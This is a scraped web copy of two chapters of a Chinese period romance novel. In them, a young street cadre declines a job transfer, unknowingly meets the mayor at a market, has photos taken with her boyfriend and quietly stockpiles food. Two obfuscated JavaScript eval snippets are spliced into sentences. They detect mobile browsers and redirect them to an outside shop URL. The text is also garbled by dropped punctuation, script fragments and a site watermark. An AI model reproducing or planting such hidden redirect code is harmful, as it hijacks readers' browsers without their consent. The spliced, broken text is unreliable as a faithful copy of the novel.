我要做个怪、小龙女□□、野生作者保护协会会长、萌、123向前看、小漫漫、有翩、请加香菜、清醒沉沦、琴、生菜、疯华绝代、Teodora、水云身、禾伙人、爸爸的爸爸叫爷爷、哆来咪、biabubala、lyl1108、wubobear、1152651、扑棠、水果岚紫、雯紫小透明、星星star、颜一宜、懒鱼不想翻身、元宝不爱钱、西红柿土豆牛腩、富婆预备役、桃花酒、24522241、南有乔木、灵z、夏尔、我爱海韵、widely21、Q-Y、睡眠不好的猫、林玲、过客、、青筱、花花、本草10瓶;快乐书虫、Aily、637189058瓶;LLLLLL、喵呜、猫十一、SVT、沃娣6瓶;嗯啦、我有猫啦!、爱吃土豆、红糖酥饼、万万、ltjenny、Anita、云烁、路人sy、敏驼驼、不要受委屈!、人设都崩了、橙悦.、xiaoxiao、ヘ( ̄ω ̄ 第 59 章 第一张合影 第59章第一张合影 基层干部进修班已经开班两个多月了,在同班学员中,汪敏对叶满枝这个小同志还是很有好感的。 他们这个班算是常规进修班,课堂上不点名、不签到,只在学期结束时组织结业考试。 平时上课全凭自觉。 叶满枝属于为数不多的全勤选手,而且乐于与大家探讨工作中遇到的麻烦。 尽管总会问一些惹人发笑的傻问题,但她能看得出这年轻人在工作上有些奇思妙想。 这次光明街获得的二等模范,堪称一鸣惊人。 一下子就让汪敏动了挖人墙角的心思。 红联乡的经济主要依靠农业,工业方面除了零星几个生产合作社,只有被农民当作副业的家庭手工业。 她现在正需要一员干将,把占比不低的家庭手工业抓起来。 “小叶,我跟穆兰也算是熟人,你不用顾忌穆主任对你的看法。只要你愿意来我们红联乡,到时候我去跟她解释!” 叶满枝着实没料到,自己只是上了一回报纸,就被一位女乡长看中了。 来自外单位领导的认可,让她的心脏胡乱扑腾了好几下。 可是,这次基层干部进修班是穆主任推荐她来的,且只有一个宝贵名额。 她要是在进修班转投其他单位的怀抱,好像不太厚道。 坐在另一侧的毛琼华插话问:“小叶,你现在是几级干部?” “我刚参加工作,定级是25级。” “那你调去红联乡当工业办主任,顶多是23级,每月能多十块钱工资。不过,你可不能被汪乡长和这个工业办主任的位置蒙蔽了!乡镇的待遇远不如城市,多少乡镇干部想找门路进城工作呢。与其去红联乡,你还不如来我们新城街道办,我们好歹地处市中心,还是全市最大的街道!” 叶满枝:“……” 她年底入手的那套新房,就在新城街上。 新城街道办的条件,能挤进全市前三名。 她瞄一眼汪乡长,又看看毛副主任,怀疑地问:“你们二位领导,是不是早就商量好了,一起逗我呐?” 毛琼华瞪她一眼,“逗你干嘛,我们街道确实有人 员缺口,你要是来了正好能负责家庭手工业的工作。 叶满枝笑嘻嘻道:“如果只是想提高家庭手工业的收入,我给你们分享一下经验就好了,没必要大费周章地把我调过去呀。 她是不可能平级调动的。 市中心虽好,但离家太远。 她现在上班只需步行十分钟,中午还能回家吃饭睡觉,单位领导对她也还不错。 实在没必要舍近求远,去陌生环境。 叶满枝仔细想了想,还是婉拒了两位领导的邀请,然后将家庭手工业增收的心得大致讲了一遍。 她心里美得冒泡儿,自然要投桃报李,虽然没接受邀请,但也不能把人得罪了。 汪敏能猜出几分年轻人的想法,笑了笑说:“红联乡不如市里条件好,但你能在工业办说得算,对年轻人来说是个很好的发展机会。不用急着答复,你再回去仔细考虑一下。 * 叶满枝被这突然而来的橄榄枝搅得心里乱糟糟的。 乡镇的工业办主任,在行政级别上仍属于办事员,但是能从7级办事员,升到5级办事员,工资也能涨十块,让她这个资历尚浅的小干部十分动心。 老叶和常月娥不想让闺女去那么远的乡镇上班,可是年纪轻轻就能当主任,听上去确实是个好机会,只好让闺女自己拿主意。 叶满枝舍不得家里,工作调动也不是说调就能调的。 她打算先放一放,等过完年以后再说。 这段时间她还要组织手工服务社卖货,顺便买一些年货。 为了方便居民采购年货,“反帝大集从小年开始,每天都会开市,一直持续到大年三十。 是的,由于英法侵略埃及,轰炸开罗,爱好和平的我们要支援埃及人民的正义斗争,光明街和工农乡共同组织的这个自由市场,被命名为“反帝自由市场了,居民们简称其“反帝大集。 反帝大集是距离城区最近的自由市场,许多听到消息的市民都跑来城郊赶大集了,导致大集规模越来越大。 第一次开市时,“反帝大集只占用二百多米的街道,到了腊月二十四的时候,大集已经绵延二里地了。 工商所、派出所和街道办都要派人去大集上维持秩序。 叶满枝来大集上执勤的同时,还要顺便采购一些年货。 煤炉厂今年效益不错,她跟穆主任和张勤简商量了一下,决定在春节时,体现出社会主义的优越性,给正式工和临时工每人发放一份年货。 全厂24个人,按照每人3块钱的标准,总共也不过70块左右。 叶满枝昨天已经跟工农乡的一个农业社谈好了,在他们社采购一百二十斤苹果。 今天带着身强力壮的赵二贺去大集上取货。 上午九点多正是人最多的时候,叶满枝随着人流往前走,经过家庭手工服务社的摊位时,发现蹲在地上看货的居民还挺多,服务社的几个大娘忙忙碌碌地收钱招呼客人,同时还要回答一些人的提问。 有个大爷似乎问得太多,把李大娘问烦了。 李大娘不客气地说:“这些小百货都是我们手工制作的,我就是个卖货的,你说的那些税啊,利润啊,我都不懂,那边有工商所的同志,你自己去问他们吧!” 摊位旁边就有带着工商袖箍的工作人员在执勤。 闻言就主动走了过去。 “同志,你有什么事?” 叶满枝对街道工商所的工作人员都熟悉,这个小年轻她以前没见过,估计是工农乡派来的人。 大爷笑得挺和蔼,背着手问:“这种手工制作的小百货,在自由市场上销售,用不用缴税啊?” “不用交税,每个摊位交一毛钱的管理费就行。”小年轻答得挺认真,“你要是想来摆摊可以随时来,只要是计划外的日用百货和小土产,都可以自由摆摊。” “只有日用百货和小土产能摆摊吗?我刚才看到有猪肉摊子在卖猪肉啊!” 小年轻口中磕绊了一下,不好跟他说,这个小土产的界限比较模糊。 过年图个吉利,工商所对一些事情睁一只眼闭一只眼,他那些同事可能把土猪肉当成了小土产。 “猪肉摊子也许是其他单位摆出来的,”小年轻语气镇定地转移重点,“反正你想摆摊就来吧,要是有人跟你乱收费乱摊派,你不要理会,直接找我们执勤的同志反应情况。” 叶满枝心说这位年轻同志可能是新来的,要是工商所那些老油条,不可能老老实实地有一句答一句。 她 顺着人流往前走,快要离开服务社的摊位时,回头看了眼那位大爷的衣着打扮,穿着黑色棉袄,戴着一顶褐色毛线帽子,帽子顶端还有两个线头,瞧着挺朴素的。 但大爷脚上那双牛皮的大头鞋,应该不便宜。 这样的人,犯不着来自由市场摆摊吧? “你觉不觉得那大爷有点眼熟?”叶满枝问走在身后的赵二贺。 “不觉得。”赵二贺盯着老头瞅了半天,摇摇头。 叶满枝拧眉想了一会儿。 因着前阵子刚上过报纸,她最近对报纸上的照片特别关注。 她咋觉得刚刚那大爷的脸,好像在报纸上见过啊? 叶满枝将筐子交给赵二贺,然后把自己的红袖箍戴上,转身走回了手工服务社的摊位。 “之前没见过你,你是工农乡的同志吗?”叶满枝先问那个小年轻。 “不是,我是光明街工商所的。” “哦,那你是新来的同志吧?”见对方点头,叶满枝转向那个大爷说,“这位同志是新来的,有些工作还不熟悉呢,您有什么事就问我吧。” 大爷饶有兴致地打量她两眼,又把刚才的问题问了一遍。 “哦,您想卖小百货是吧?那得看您是个人来卖,还是集体来卖了!” “这两者有什么区别吗?” “当然有区别了!”叶满枝指指身边的摊位,“这是我们街道家庭手工服务社的摊位,算是集体的摊位,卖出的每件商品都要算在集体的账上,到时候要统一缴税的。如果您只是个人来摆摊,零星卖几件手工小百货,没有形成规模,咱们工商所是不收税的。” 大爷背着手点点头,“对大宗交易征税算是比较合理的,但工商所对大集上的集体企业都有登记备案吗?” 叶满枝不是工商所的,她哪懂这些。 不过,听他脱口的话不是“大宗交易”、就是“登记备案”,显见不是一般的老头。 于是,她斟酌着说:“我是街道的干部,工商所的具体情况我也不太清楚。不过,大爷你这个提议还挺好的,回头让这位……” 站在她旁边的小年轻接话说:“我叫梁彦。” “嗯,回头让这位梁同志跟李所长提一提。”叶满枝笑道,“我们‘反帝自由 市场’刚开市不久,也是在摸索中寻找自身不足的。马上就要过年了,大家都想尽量服务好群众,争取让市民们在大集上就能将年货采购齐全。 “我们街道办和工农乡,为此特意联系了市食品公司和副食品商店,给他们在市场上预留了摊位。食品公司年前往郊区投放了17万斤猪肉,反帝大集的摊位就是销售点之一。大爷您要是想买猪肉,就带着肉票过去,跟其他市场的价格一样,但是我们这里供应更充足。 她回答了老头的几个问题,然后就以还有其他工作为由率先离开了。 走出对方视野范围后,她将苹果钱给了赵二贺,让他自己去取苹果。 而后调转方向,疾步返回了街道办。 叶满枝顾不上额头的细汗,摘下手套便去翻看报刊架上的旧报纸。 翻了几份以后,果然在一周前的《滨江日报》上,见到了那个大爷的相片! 新闻标题是《市人民委员会扩大会议通过了克服官僚主义的二十项措施》。 大爷的照片下面有一行小字,“市长XXX宣布每月17号,为市级机关‘无会议日’。 叶满枝:“…… 她刚才给市长答疑解惑啦? 还管市长叫大爷啦? 叶满枝连忙把这个发现告诉了穆主任和张勤简。 正在喝茶的张勤简被茶水呛得直咳嗽,两道水柱从鼻孔里喷出来,又重新滴进茶缸里。 叶满枝被恶心得够呛,假装没见到他的狼狈,将目光瞥向了一边。 “市长跑来咱们的大集上干什么?你是不是看错了? 市长若是想来视察,通常是逐层下达通知,身边还要呼呼啦啦带着一大群人。 怎么可能自己一个人就跑来了? “没看错,那大爷跟照片上的人长得一样。叶满枝将报纸递给他。 穆兰问:“他身边还有其他人吗? “没注意呀,我过去的时候只有他自己站在摊位旁边问东问西的。 张勤简看向穆兰,“怎么办?用不用上报区里? 穆兰详细询问了叶满枝与他对答的情况,而后说:“区里我来通知。老张,你先去跟派出所和工商所通个气,有些计划内产品可不能管得太松了,以免撞 到枪口上。” 市长穿着破棉袄戴着破帽子来重新开市的大集上转悠很明显是想微服私访的要是被一群陌生下属撞破反而不美。 她在心里计算着时间估计区领导赶到时市长恐怕已经走了。 这才拿起电话跟区领导汇报了情况。 * 叶满枝闹不懂领导的想法反正她挺兴奋的。 虽然之前见过刘副市长但是约等于没说过话。 她今天见到的可是正市长还跟人家聊了半天! 老叶一辈子都没见过市长呢她这样也算是青出于蓝了吧? 她可太有出息了! 当晚在工人俱乐部的排练结束以后叶满枝把这件事偷偷分享给了林青梅。 林青梅反应平平也跟她分享了一件新鲜事。 “元旦的时候市文化局举办交谊舞会我还跟分管文化工作的副市长跳过交谊舞呢!” “哇!”叶满枝好奇地问“副市长交谊舞跳得好吗?” “还行吧在机关属于中等水平没你们吴团长跳得好。”林青梅往台下使个眼色“吴团长在那鼓捣半天了他干嘛呢?” 叶满枝也不清楚她将琵琶收好提着琴盒快步跑去了观众席。 吴峥嵘是来接她“下班”的不过自打进了俱乐部就一直在埋头鼓捣一个黑乎乎的东西。 “这是什么啊?” “照相机。” “照相机哪有长这样的?” 叶满枝在照相馆见过照相机那是能立在地上顶着一个大脑袋的机器。 “这种属于便携式的照相机”吴峥嵘给她看了眼机身“这个能拍摄成品细节图立式照相机使用起来不方便。” 叶满枝凑近了问:“这是你们军代室的照相机吧?军代表同志你这是公器私用不?” 吴峥嵘学着她的样子用气声调侃:“还请小叶同志千万替我保守秘密。你不是不满意报社给你抹的红脸蛋么我另外给你拍几张。” 见他居然想给自己拍照 “你怎么不早说呀!早知道我就换一套更好看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465587|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的衣服了。” “我买了两盒胶卷大概能拍二十多张”吴峥嵘坦 言“以前只用它拍过军用品局部照片拍人像还是第一次可能拍得不好先随便拍一卷练练手吧。等你们正式参赛的时候争取能拍出满意的相片。” “你现在照相技术怎么样?刚才拍了吗?” 吴峥嵘笑:“目前只拍了一张你在台上弹琵琶的还有一张你们乐团的合照。具体效果怎么样还不清楚等我将胶片洗出来看看情况再说。” 叶满枝撑着下巴问:“那能不能给我跟青梅拍一张合照?” “行啊把你的朋友喊过来吧。” 排练结束音乐会的人已经走得七七八八了。 林青梅还在舞台上做最后的收尾工作被她喊下来拍照时表情还是懵的。 等她被叶满枝搂着脖子贴着脸蛋听见咔嚓一声快门声以后又听她在自己耳边央求:“青梅你也帮我跟吴峥嵘拍一张相片呗!” 林青梅哪用过照相机啊摆手说:“我不会照相。” 叶满枝跟她蛐蛐咕咕“你就站到他现在的位置让他告诉你按哪里只要能把我俩收进照片里就行了。” “你想跟他拍合照就不能在拍结婚照的时候去照相馆一起照?”林青梅扛不住她的缠磨还是走过去接过了吴峥嵘手里的照相机。 叶满枝冲她讨好地笑笑。 眼见其他人全都走了只余他们三个人滞留在音乐厅。 叶满枝连忙拉过吴峥嵘让他脱了军大衣露出里面的军装坐到刚刚青梅坐过的位置。 她自己也把外套脱了只穿着一件白色毛开衫站在吴峥嵘身后。 然后将双手搭在了对方的肩上。 林青梅从镜头后面探出头来无语道:“你让我帮你拍照不就是想拍个亲密点的吗?那就别矜持啦赶紧搂住脖子把脸贴上去吧!” 叶满枝刚才就是以这样的姿势跟她拍照的。 这丫头明显早有预谋结果临到关键时刻退缩了。 叶满枝确实是这么打算的不过当着青梅的面 直到吴峥嵘握上了她搭在肩上的一只手叶满枝才鼓起勇气将绯红的脸蛋贴了上去。 在照相馆拍照要注意影响最近来办结婚登记的夫妻带来的照片都是那种并排坐在 一起的。 偶尔有大胆一点的,会将脑袋往对方的方向凑近一些。 像他们现在这样,搂肩、牵手、贴脸,这种相片是绝不可能拍出来的。 叶满枝觉得今天机会难得,只是在青梅面前丢人一下下,但是能留下一张难得亲密的相片,也算值得了。 只不过,相片拍完以后,青梅还没什么特别反应,吴峥嵘却总是时不时偏头看向她。 等他们与青梅在大院里分手,来到叶家所在的楼道时,叶满枝终于开口问:“你总看我干什么? 她甚至能察觉到上方视线的热度。 吴峥嵘没说话,伸手将她的围巾拉下来一点,俯身便噙住了她的唇瓣。 尽管动作还是温柔的,但叶满枝感觉这次与从前不太一样,他今天好像吻得特别凶。 短短几秒钟,她便被亲得透不过气了。 楼梯上传来脚步声,叶满枝在他胸膛上推了推,示意他适可而止。 而后她听到对面非常明显的一声吞咽,吴峥嵘“嗯了一声,又在她唇上轻啄了两下。 脚步声越来越近,叶满枝一紧张就将他重新拉出了楼道。 两人站在拐角的阴影里,一时间都没说话。 平息片刻,吴峥嵘倏地开口说:“本来军代室有专人洗相片的,看来我不但要练好人像摄影,还得学习冲洗相片了。 叶满枝揪着围巾上的球球问:“照相机多少钱呀?我要是再卖一万册图书,能买一台照相机吗? “能。 叶满枝心说,她要是能拿到第二笔稿酬,就用这笔钱买一台照相机。 让吴峥嵘天天给她拍相片! 吴峥嵘将她的围巾重新系好,然后从口袋里拿出一张请柬给她。 “我奶奶邀请你,春节来我家做客。 “到时候会很热闹嘛?叶满枝问。 “应该不会。 “那干嘛要给我一张请柬? 叶满枝还以为他家要请客或是举办什么活动。 “她可能觉得这样比较正式吧,吴峥嵘有时对老头老太的举动也很费解,“具体时间没定,大概就是正月初三至初五的某一天吧,老太太说看你的时间安排。 叶满枝握着请柬,虽然 觉得太过正式了但她能从请柬中感觉到对方的尊重。 “我回家跟爸妈商量一下明天再告诉你行不?” “行”吴峥嵘想了想又补充说“我爸妈今年会回滨江过年到时候可能会跟他们见一面。我们好几年没见过了你不用特别准备什么随便见见就行了……” 作者有话要说 一百个红包明天见~ 感谢在2024-08-1812:34:08~2024-08-1912:36:32期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:班味退!退!退!1个; 感谢投出地雷的小天使:小教主、Jelly、咕咚来了!1个; 感谢灌溉营养液的小天使:啊嘟201瓶;孙孙200瓶;绿色森林100瓶;柏黎90瓶;26225759、小饼干76瓶;Eve小羔70瓶;白夜飞星67瓶;南山66瓶;ya64瓶;犯罪级小可爱60瓶;每天都想喝奶茶、且种蒜头、从容吃瓜、哈哈哈哈哈哈哈哈、丫丫、骑牛的欢猪、可恶能不能努力点50瓶;4210096346瓶;妮子44瓶;外星人秋裤40瓶;kangkkk36瓶;少庄主32瓶;我想长高女士、陈安、喜欢银子?、niconiconi、sissiidun、时差、莘莘的申申30瓶;废小炫、秋风起兮夜微凉26瓶;archer25瓶;顾沉21瓶;29628842、叮叮、hubud、六色桦、浅素、25661864、奥利、离理、DDDooo、Karen星微、米噜噜噜、沐宸之光、bjyxszd、陶然、江宿、心心欣欣、浪味仙子?、飘、富贵、有狐氏、崔崔脆脆、凌言千、水母我们去抓派大星吧、东西南北雨、neverland、xxxx、叶衣、洛兮舞20瓶;游瓷18瓶;杏花雨16瓶;人间星河15瓶;周小周毛毛、102314瓶;我行我簌13瓶;收藏不过万的不看、阿蝶的暴脾气、Susie0726、泺落、蜂蜜柚子、司马撒娇、西瓜、二美啊、严严不要熬夜玩手机、cling、庞家二闺女、哇!我中了壹仟万元、文荒中、匪漪、春三月、小兔叽、陛下是学材料的、 第 60 章 叶·年货大户·满... 第60章叶·年货大户·满 与家人商量过后,叶满枝把上门的日子定在了正月初四。 “你第一次去他家做客,是不是得备些礼啊?”三哥问。 “吴峥嵘说他会准备。”叶满枝将毛衣针递给他,“哥,你帮我把这个提花的花样织一下。” “他准备是他的,咱家也得表示一下吧?” 三哥放下自己织到半截的毛裤,接过妹妹的毛衣便唰唰织了起来,中途想起什么,又从裤兜里掏出两块钱给她,“帮你凑个份子,到时候你买点水果提到他家去。” 叶满枝没接,往客厅里瞅了一眼说:“你送四哥去学开车,花了不少钱吧?两块钱你自己留着吧。” “没花多少,主要是买烟买酒,”叶满堂呵了一声说,“谁知道老四能坚持多久,我没敢投入太多。” 除了鼓捣花鸟鱼虫,老四干什么都没长性。 他有时候甚至怀疑,这人到底是不是他同父同母的亲弟弟。 叶满堂发狠似的说:“他这回要是还那么不着调,我以后就不管他了!” “这话你都说过好几遍了,也没见你不管他。” 三哥虽然在家排行老三,但他向来以长子自居,家庭责任感极强。 像四哥那样的混不吝,连老叶都愁得不想管了,三哥却依然不离不弃,誓要完成对弟弟的改造。 叶满堂不想提那个倒霉弟弟,将两块钱塞进她手里说:“你拿着去买东西吧,我帮你三嫂织了件毛衣,这是她给我的,等这条毛裤织好以后,应该还会有一笔手工费。” 叶满枝:“……” 她着实没想到老叶家最会织毛衣的人会是三哥。 之前发现黄大仙买了好多毛线回来,还以为对方肯定是编织高手。 结果黄大仙织起毛衣来跟得了小儿麻痹似的,学了几天就放弃了。 剩下的毛线由三哥继承,不到一周时间,就织了件毛衣出来。 凭手艺从媳妇手里抠钱花! 望着他堪比机器的手速,叶满枝痛快地将两块钱收下了。 去做客的礼物,其实并不需要她操心。 见到吴奶奶的请柬以后,常月娥往百货大楼跑了好 几趟。 不过,她准备的大多是适合女同志的东西,给吴峥嵘爷爷和父亲的礼物还没有着落。 次日上午,叶满枝在反帝大集上找到了五哥,想请他帮忙下乡买点灵芝酒或者虎骨酒。 然而,她刚走到马车近前,就被上面满满当当的货物惊住了。 “哥,你从哪弄来这么多东西啊? 五哥这马车上,不但有鸡蛋、粉条、木耳、蘑菇、冻得邦邦硬的粘豆包和鲤鱼,甚至还有两筐国光苹果。 五哥刚收了一个大娘的鸡蛋钱,笑吟吟道:“大集距离农村太远了,我帮老乡代卖的。 叶满枝:“…… 谁信啊。 肯定是他从农村收购,然后来城里倒卖的。 以前没有自由市场的时候,五哥就时常帮人从农村带东西。 这回有了反帝大集,他更能光明正大地倒腾了。 “哥,你这生意怎么样?这一车得几天才能卖完啊? “一上午就卖完了。 五哥眼里精光四射,浑身都是干劲儿。 自从有了自由市场,他上午卖货,下午去农村收货,一天能净赚十几块。 按照这个势头搞下去,春节前他至少能进账150块! “哥,你可得悠着点啊,你倒卖这么多东西,小心工商所的人来查你! “没事,我有东河村开的介绍信,证明我是替他们农业社代卖小土产的。 叶满枝问:“这些是从东河村弄来的?这车上有咱家的东西么? 鹅小说更新,记住域名qiexs☆(请来企 鹅小说 看最新章节 完整章节) 叶家的老家就在东河村。 五哥指向车上的两个小麻袋,“木耳和榛蘑都是帮三叔他们代卖的,咱奶还想让我卖一些大黄米和小豆,我怕市场上不让卖粮食,就让她做成粘豆包了。 叶满枝心头莫名生出一股不好的预感,看似随意地问:“这麻袋的容量不小,咱奶不会把家里那点存货全都给你了吧? “嗯,年前这段时间叫得上价,能卖肯定要尽量卖啊!五哥乐呵呵道,“我自己存的那些黄米和黏米,也都做成粘豆包卖了。 叶满枝腹诽,你们卖得倒是痛快,万一赶上饥荒年景,家里可就没有半点存粮了! 最近三嫂打着过年走礼的幌子,又买 了不少肉罐头、鱼罐头和挂面。 她能特别直观地感受到三嫂内心的急切。 连黄大仙都怕成那样,估计之后几年的光景真的不会太好过。 她兀自站在马车边琢磨了半晌,而后盯着五哥给顾客装鸡蛋、称木耳、收钱。 眼见着麻袋里的货物很快就少了一半,叶满枝突然说:“哥,你这些木耳和榛蘑别卖给别人了,都给我吧。” 五哥疑惑道:“咱家吃不了这么多吧?” “我们单位的同事也想买,到时候我拿去办公室里分一分。”叶满枝掏了十块钱给他,“先给你十块,老家那边要是还有人卖山货,你就再给我留点。” 机关单位的人经常一起采购年货,五哥信以为真,点头答应着。 叶满枝踯躅片刻,靠近他小声说:“哥,你再去东河村的时候,跟咱爷奶他们说一声,粮食不要再卖了。” 五哥解释说:“我们只在春节前卖一阵子,最近价格高。” “现在卖了,以后就要吃亏了!”叶满枝神神秘秘道,“我听说粮食要涨价!而且以后不论粗粮细粮都要用粮票才能买,你们现在把粮食卖了,赚的那点钱还不够粮价涨幅呢!” 五哥警觉地问:“你听谁说的?最近粮食真的要涨价?” “在党校上课的时候听说的,我那个进修班里的同学来自全市各单位,有些人的消息特别灵通。” 五哥知道干部的消息渠道,完全不是自己这种野路子能比的。 他没想过妹妹会在这种大事上骗自己,对方说什么他就信什么。 “春节前价格高,我先卖一阵子。等过完年以后,我再找机会收点粗粮存着。” 叶满枝随意道:“你自己看着办吧,反正别卖亏了就行。” 五哥是个财迷,只要跟他说现在卖粮亏本,他一准儿不会贱卖粮食。 很可能还会尽快收购一批粗粮囤积居奇。 叶满枝跟五哥说了正事,便打算带着那两麻袋的干货离开。 临走前,她往几步开外的姑娘身上瞟了一眼,姑娘头上戴着一顶很抢眼的白兔毛帽子。 刚开始她以为对方是看货的顾客,可是她跟五哥聊了半个钟头,那姑娘不买东西,也不离开,不知是来干嘛的。 “哥,你认识那姑娘不?叶满枝给五哥使个眼色。 “见过两面,不熟。 叶满枝点点头不再多问,跟他打声招呼就走了。 既然五哥说不熟,那就是真的不熟。 她五哥长得体面,腿脚不好的时候,都能吸引小姑娘偷看他。 如今他换上了特质的棉鞋,走路时没有特别明显的蹒跚,就更招人稀罕了! 趁着午休时间,她提着两麻袋的干货,往新房那边跑了一趟。 家里已经有一个喜欢储存东西的黄大仙了,要是她也跟着大量囤积粮食,不免显得奇怪。 所以,新房的钥匙到手后,她偶尔会趁着打扫卫生的机会,往这边送点东西。 院子西侧有个地窖,是原房东储存冬菜的地方,内里空间还挺大的。 叶满枝将地窖门打开,通了一刻钟的风,才踩着梯子将两袋木耳和榛蘑送了下去。 她用手电筒在地窖的墙上照了照,一侧的架子上已经挂了几袋豆子和两大袋粉条,以防粮食受潮,她还在麻袋外面裹了一层油布。 叶满枝原本还跟着黄大仙买了不少肉罐头和鱼罐头。 可惜她定力不足,回家就把豉汁鲮鱼、茄汁凤尾鱼、红烧扣肉、午餐肉、卤猪杂罐头挨个尝了一遍。 地窖里目前只存了七八罐她觉得不怎么好吃的原汁猪肉罐头,如果哪天没肉吃了,可以用这种肉罐头炖菜吃。 叶满枝又从随身的背包里翻出一瓶黄桃罐头和两罐八宝饭罐头。 用手电筒在罐头盒子上照了两个来回,依依不舍地将八宝饭跟原汁猪肉罐头放到了一起。 哎,不知道存这些吃的有没有用。 要是放过期了,还怪可惜的。 * 叶满枝为这些罐头和粮食花了不少钱,不过,单位给她发的年货,很快就让她没那么心疼了。 今年光明街上的几个集体手工社和国营工厂的盈利状况都不错。 街道办截留的利润还算可观,再加上市里发给二等模范的150元奖金,让张勤简难得大方了一回。 今年春节,街道办的年货是按照顶格标准置办的。 每人三斤苹果、 三斤冻梨、三斤白面、两斤猪肉、两条鲤鱼,还有半斤水果糖。 叶满枝兼任着煤炉厂的厂长,煤炉厂的年货也有她的一份,所以她又多分到五斤苹果、两斤猪肉和一条鲤鱼。 东西着实不少,好在单位离家近,她蚂蚁搬家似的,每次倒腾一点点,分几次就能将年货运回家。 分了年货以后,穆主任又总结了过去一年的工作成绩,然后将每个人都喊去隔壁的居民接待室,进行了一对一谈话。 叶满枝排在刘金宝的后面,眼见他喜气洋洋地从办公室里出来,叶满枝直觉今天的谈话内容和氛围应该是很轻松的。 然而,等她在穆主任对面坐定,却听对方问:“小叶,你年后有调动工作的打算吗? “啊?叶满枝愣了一下,连忙说,“没有啊。 对于红联乡工业办的工作,她心里还有些犹豫。 而这种会让她生出犹豫情绪的事情,她最终通常都不会选择。 穆兰笑了笑说:“别紧张,我上周去市里开会,碰见红联乡的汪敏了,据说她想把你弄去红联乡负责工业工作。 叶满枝:“…… 这汪乡长咋还当着领导的面挖人呢? “乡镇和街道在级别上是一样的,但城市街道要比乡镇的条件略好一些。穆兰和气地说,“乡镇工业办主任的位置,听起来不错,其实手下顶多有一两个编外临时工。红联乡没什么大工业,工业办主任负责的工作,跟你现在做的工作差不多。 叶满枝沉吟一阵,既然事情已经摊开了,不如直说自己的想法。 “主任,汪乡长确实跟我提过调动工作的事,她想让我去红联乡主抓手工业,行政级别能从25级升到24级,但红联乡离家太远了,我当时已经婉拒汪乡长了。她让我考虑考虑,年后再给她答复。 她刚参加工作不到一年,要想升到23级,还得再观察一年。 所以,她去了红联乡,实际上只能升到24级。 穆兰在心里默默叹气,街道办是个小衙门,其实不太容易留住人才。 上一个转去656厂工会的小刘就是个很有干劲儿的小伙子,当时人家偷偷摸摸走了关系,等她想留人的时候,商调函都已经下来了。 叶满枝在 工作上不但有干劲儿,也很有想法,是个难得的做群众工作的好苗子。 在家庭手工业和教育工作上,帮她分了不少担子。 既然提前得到了消息,穆兰肯定不能将人轻易放走。 “红联乡给你的条件确实不错,但你要好好想想,为什么那么多乡镇干部挤破脑袋也要来城里工作?不光是因为城里的生活条件好,更因为视野不一样!上次你在反帝大集上遇见了市长,你知道他突然跑来这边是为了什么吗? 叶满枝摇摇头。 她只听说后来区委书记和区长都跑去接待市长了。 “区领导不是在大集上见到市长的,穆兰神色复杂地说,“是后来在针棉织专业联社里见到的。 叶满枝惊讶地“啊了一声。 光明街上的工厂和手工社特别多,针棉织专业联社就是其中之一,在性质上算是集体企业,但规模很大,跟一般的纺织厂也差不多了。 “市长早上来光明街的时候,针棉织社还没上班,所以他先去大集上逛了逛。等区领导赶到时,他已经在各大合作社之间转了一圈了。市里有意将手工业合作社,转成国营工厂,正阳区是手工业合作社最多的区,而咱们光明街又是全区合作社最多的街道。 叶满枝消化着穆主任话里的内容。 把全市的合作社变成工厂,这可是个大工程! 集体的变成国营的,其中的阻力肯定不小,市长可太有魄力了! 穆兰继续说:“我听区长的意思,年后市里就要将正阳区当做试点,在区里成立一个改革办公室,专门主导合作社转厂工作。咱们光明街的合作社很多,到时候肯定要派联络员去区里工作,你本身就是负责手工业的干部,我打算让你去试试。 “小叶,平时在城乡做基层工作,其实没有太大的区别,但往往是极个别的特殊机会,能让你快速成长。大型合作社多聚集在城市,红联乡不可能给你提供这种参与大型改革的机会。 不用她继续说下去,叶满枝早已心潮澎湃地连连点头了。 有机会去区里工作,能参与这种重要改革,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465588|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用离家太远,她当然乐意啦! “主任,我听你的,以后一定继续努力工作,安心为咱光明街的居民服务! 穆兰满意地颔首:“行,那你好好准备一下,过完年区里很快就会组建改革办公室。另外,你在党校进修班学习的时间也不短了,人家刘金宝都知道提交入党申请书,你怎么从来没提交过?在要求进步这方面,你表现得不太积极啊! 叶满枝:“…… 她觉得入党这事离她特别遥远,从来没考虑过入党的问题。 居然又被刘金宝那小子抢先了一步! 他怎么什么事都知道! * 叶满枝被穆主任激励得精神振奋,提着自己那三条大鲤鱼回家的路上,还在美滋滋地哼唱着《红莓花儿开》。 走到家门口时,正巧遇见推着自行车过来的吴峥嵘,车后座上还捆着一个大竹筐。 “你这是干嘛去啊? “厂里刚发的年货,给你送回家去吧。 老叶和三哥的年货早就送回来了,这份显见是吴峥嵘的。 “既然是厂里发的年货,你就自己留着呗。 吴峥嵘问:“你见我在家开过火么? 叶满枝:“…… 好像真的没开过。 他一日三餐都是在食堂解决的。 家里的煤炉子似乎只有取暖和烧水的作用。 “那你给爷爷奶奶送回去也行啊! 